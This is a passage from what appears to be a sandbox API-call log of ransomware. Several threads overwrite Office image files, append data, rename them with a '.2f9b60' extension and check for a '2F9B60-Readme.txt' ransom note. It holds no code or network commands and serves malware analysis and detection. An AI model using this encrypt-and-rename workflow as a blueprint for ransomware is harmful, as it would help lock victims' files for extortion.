SetFilePointerEx (in: hFile=0x1ee4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.108] WriteFile (in: hFile=0x1ee4, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2a7afd90, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x2a7afd90*=0x11c, lpOverlapped=0x0) returned 1 [0141.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0141.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0830) returned 1 [0141.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6a20) returned 1 [0141.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda07f0) returned 1 [0141.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b00) returned 1 [0141.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0141.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7080) returned 1 [0141.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0141.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x20279670 [0141.138] wcscpy (in: _Dest=0x20279670, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg" [0141.138] wcscat (in: _Dest=0x20279670, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.2f9b60" [0141.138] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.2f9b60", NtPathName=0x2a7afdb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierDownArrow.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1cecf860 [0141.138] NtSetInformationFile (FileHandle=0x1ee4, IoStatusBlock=0x2a7afe50, FileInformation=0x1cecf860, Length=0xce, FileInformationClass=0xa) returned 0x0 [0146.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf860) returned 1 [0146.886] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420500b0) returned 1 [0146.886] NtQueryInformationFile (in: FileHandle=0x1ee4, IoStatusBlock=0x2a7afe18, FileInformation=0x2a7afe28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2a7afe18, FileInformation=0x2a7afe28) returned 0x0 [0146.886] NtSetInformationFile (FileHandle=0x1ee4, IoStatusBlock=0x2a7afe18, FileInformation=0x2a7afe28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279670) returned 1 [0147.127] FlushFileBuffers (hFile=0x1ee4) returned 1 [0147.129] CloseHandle (hObject=0x1ee4) returned 1 [0147.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050bc10 [0147.130] wcscpy (in: _Dest=0x2050bc10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0147.130] wcscat (in: _Dest=0x2050bc10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0147.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bc10) returned 1 [0147.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862e00) returned 1 Thread: id = 1850 os_tid = 0xf14 [0133.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg")) returned 0x20 [0135.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg", dwFileAttributes=0x20) returned 1 [0138.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifieruparrow.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f98 [0141.901] GetFileSizeEx (in: hFile=0x1f98, lpFileSize=0x2abdfe40 | out: lpFileSize=0x2abdfe40*=960) returned 1 [0141.901] SetFilePointerEx (in: hFile=0x1f98, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.901] ReadFile (in: hFile=0x1f98, lpBuffer=0x2abdfdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2abdfe08, lpOverlapped=0x0 | out: lpBuffer=0x2abdfdc0*, lpNumberOfBytesRead=0x2abdfe08*=0x4, lpOverlapped=0x0) returned 1 [0141.952] SetFilePointerEx (in: hFile=0x1f98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fde40 [0141.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe440 [0141.952] NtQuerySystemTime (in: CurrentTime=0x2abdfd00 | out: CurrentTime=0x2abdfd00*=132462177471934000) returned 0x0 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x3545abaa [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x141507d6 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x44fdc062 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x36a14895 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x2b054725 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x489f9193 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x3dd5d107 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x77b8cd85 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x557e86a8 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x6a358254 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x5f1424bf [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x5619106c [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x4b38f334 [0141.952] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x21799cca [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x71db455d [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x4e281b74 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x2f7243cf [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x512780b2 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x3bec9fbb [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x6fc2ed7b [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x78582402 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x7d1a87e7 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x6ac2c391 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x30026f67 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x618e7e84 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x36a0cfae [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x244b4d0e [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x79a0ff23 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x74ba68c6 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x55299430 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x5a1c26c9 [0141.953] RtlRandomEx (in: Seed=0x2abdfcf0 | out: Seed=0x2abdfcf0) returned 0x423a9122 [0141.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fded0 [0141.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe3e0 [0141.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe440) returned 1 [0141.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0141.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd690 [0141.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd690) returned 1 [0141.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422901c0 [0141.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0141.962] ReadFile (in: hFile=0x1f98, lpBuffer=0x422901c0, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x2abdfcf0, lpOverlapped=0x0 | out: lpBuffer=0x422901c0*, lpNumberOfBytesRead=0x2abdfcf0*=0x3c0, lpOverlapped=0x0) returned 1 [0141.962] SetFilePointerEx (in: hFile=0x1f98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.962] WriteFile (in: hFile=0x1f98, lpBuffer=0x42279960*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x2abdfcf4, lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesWritten=0x2abdfcf4*=0x3c0, lpOverlapped=0x0) returned 1 [0142.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0142.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0142.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0142.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0142.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422901c0) returned 1 [0142.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0142.006] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0142.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f5b0 [0142.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0142.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0142.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0142.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0142.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fbf0 [0142.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0142.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0142.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0142.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0142.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0142.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x1674c0 [0142.008] SetFilePointerEx (in: hFile=0x1f98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0142.008] WriteFile (in: hFile=0x1f98, lpBuffer=0x1674c0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2abdfe10, lpOverlapped=0x0 | out: lpBuffer=0x1674c0*, lpNumberOfBytesWritten=0x2abdfe10*=0x118, lpOverlapped=0x0) returned 1 [0143.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1674c0) returned 1 [0143.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0143.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0143.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0143.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0143.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fde40) returned 1 [0143.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fded0) returned 1 [0143.463] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0143.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0143.464] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg" [0143.464] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.2f9b60" [0143.464] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.2f9b60", NtPathName=0x2abdfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierUpArrow.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.464] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x1cecfda0 [0143.464] NtSetInformationFile (FileHandle=0x1f98, IoStatusBlock=0x2abdfed0, FileInformation=0x1cecfda0, Length=0xca, FileInformationClass=0xa) returned 0x0 [0145.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfda0) returned 1 [0145.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47be0) returned 1 [0145.976] NtQueryInformationFile (in: FileHandle=0x1f98, IoStatusBlock=0x2abdfe98, FileInformation=0x2abdfea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2abdfe98, FileInformation=0x2abdfea8) returned 0x0 [0145.976] NtSetInformationFile (FileHandle=0x1f98, IoStatusBlock=0x2abdfe98, FileInformation=0x2abdfea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0146.042] FlushFileBuffers (hFile=0x1f98) returned 1 [0146.257] CloseHandle (hObject=0x1f98) returned 1 [0146.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce121b0 [0146.261] wcscpy (in: _Dest=0x1ce121b0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.261] wcscat (in: _Dest=0x1ce121b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce121b0) returned 1 [0147.218] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863380) returned 1 Thread: id = 1851 os_tid = 0xe5c [0133.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp")) returned 0x20 [0134.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp", dwFileAttributes=0x20) returned 1 [0137.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierWindowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierwindowmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b14 [0140.124] GetFileSizeEx (in: hFile=0x1b14, lpFileSize=0x2b02fc60 | out: lpFileSize=0x2b02fc60*=4922) returned 1 [0140.124] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x1336, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.124] ReadFile (in: hFile=0x1b14, lpBuffer=0x2b02fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b02fc28, lpOverlapped=0x0 | out: lpBuffer=0x2b02fbe0*, lpNumberOfBytesRead=0x2b02fc28*=0x4, lpOverlapped=0x0) returned 1 [0140.172] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0140.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0140.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0140.172] NtQuerySystemTime (in: CurrentTime=0x2b02fb20 | out: CurrentTime=0x2b02fb20*=132462177454150000) returned 0x0 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x71af8cd9 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x4c5aad56 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x4618c1f5 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x5892d022 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x1551c48f [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x36ddcdd9 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x46958c02 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x621d9c2b [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x336644c5 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x2f112f89 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x43955090 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x48c5774f [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x37557ec1 [0140.172] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x5aeaaaa2 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x1b81f84b [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x58bda8e2 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x36d116cd [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x5e476e3c [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x4d0c05ec [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x4cd5fa4a [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x5f2d61e6 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x4ea42e45 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x7ca9417 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x7b772f21 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x1530b39d [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x1ee12246 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x4283e39e [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x402db3 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x73c19624 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x3816ade8 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x42d7aaf8 [0140.173] RtlRandomEx (in: Seed=0x2b02fb10 | out: Seed=0x2b02fb10) returned 0x62cf29e2 [0140.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266b40 [0140.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420615b0 [0140.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0140.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0140.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0140.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0140.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0140.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420615b0 [0140.183] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abd60 [0140.183] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abd60) returned 1 [0140.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ca920 [0140.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421ce530 [0140.184] ReadFile (in: hFile=0x1b14, lpBuffer=0x421ca920, nNumberOfBytesToRead=0x133a, lpNumberOfBytesRead=0x2b02fb10, lpOverlapped=0x0 | out: lpBuffer=0x421ca920*, lpNumberOfBytesRead=0x2b02fb10*=0x133a, lpOverlapped=0x0) returned 1 [0140.206] SetFilePointerEx (in: hFile=0x1b14, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.206] WriteFile (in: hFile=0x1b14, lpBuffer=0x421ce530*, nNumberOfBytesToWrite=0x133a, lpNumberOfBytesWritten=0x2b02fb14, lpOverlapped=0x0 | out: lpBuffer=0x421ce530*, lpNumberOfBytesWritten=0x2b02fb14*=0x133a, lpOverlapped=0x0) returned 1 [0140.810] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdbd0 [0140.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0140.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0140.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ce530) returned 1 [0140.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421ca920) returned 1 [0140.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420615b0) returned 1 [0140.812] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0140.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059ba0 [0140.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059150 [0140.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420615b0 [0140.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc60 [0140.813] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdc60) returned 1 [0140.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059100 [0140.813] RtlAllocateHeap (HeapHandle=0xa0000, 